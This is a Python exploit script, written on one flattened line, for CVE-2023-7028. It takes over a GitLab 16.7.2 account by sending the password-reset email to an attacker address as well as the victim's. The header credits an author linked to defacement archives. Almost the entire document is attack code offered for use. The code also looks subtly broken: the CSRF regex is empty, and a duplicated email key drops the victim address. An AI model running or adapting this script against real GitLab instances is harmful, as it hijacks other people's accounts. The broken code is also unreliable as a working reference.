# Exploit Title: GitLab 16.7.2 - Account Takeover via Password Reset without user interactions # Date: 2025-04-16 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # MiRROR-H: https://mirror-h.org/search/hacker/49626/ # Version: = 16.7.2 # Tested on: Win, Ubuntu # CVE : CVE-2023-7028 #!/usr/bin/env python3 import argparse import re import requests import os from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) session = requests.Session() def grab_token(url): headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0","Referer":""+url+"/users/sign_in","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate, br"} cookies = {"preferred_language":"en"} response = session.get(""+url+"/users/password/new", headers=headers,verify=False) pattern = r'' match = re.findall(pattern, response.text) if match: token = match[0] print(f'The CSRF token is: {token}') return token else: print('Error: CSRF token not found in the HTML content') exit() def reset_password(url,token,victim,attacker): paramsPost = {"user%5Bemail%5D":victim,"user%5Bemail%5D":attacker,"authenticity_token":token} headers = {"Origin":""+url+"","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0","Referer":""+url+"/users/password/new","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate, br","Content-Type":"application/x-www-form-urlencoded"} response = session.post(""+url+"/users/password", data=paramsPost, headers=headers,verify=False) if "If your email address exists " in response.text: print("Check if you have a new password reset email") else: print("Possible not vuln") parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", required=False, default=" http://gitlab.lan",help="URL of host to check will need http or https") parser.add_argument("-v", "--victim", default="victim@gitlab.lan",required=True, help="victim email address") parser.add_argument("-a", "--attacker", default="attacker@gitlab.lan",required=True, help="attacker email address") parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy for debugging") args = parser.parse_args() url = args.url victim = args.victim attacker = args.attacker if args.proxy: http_proxy = args.proxy os.environ['HTTP_PROXY'] = http_proxy os.environ['HTTPS_PROXY'] = http_proxy if url: token = grab_token(url) reset_password(url,token,victim,attacker)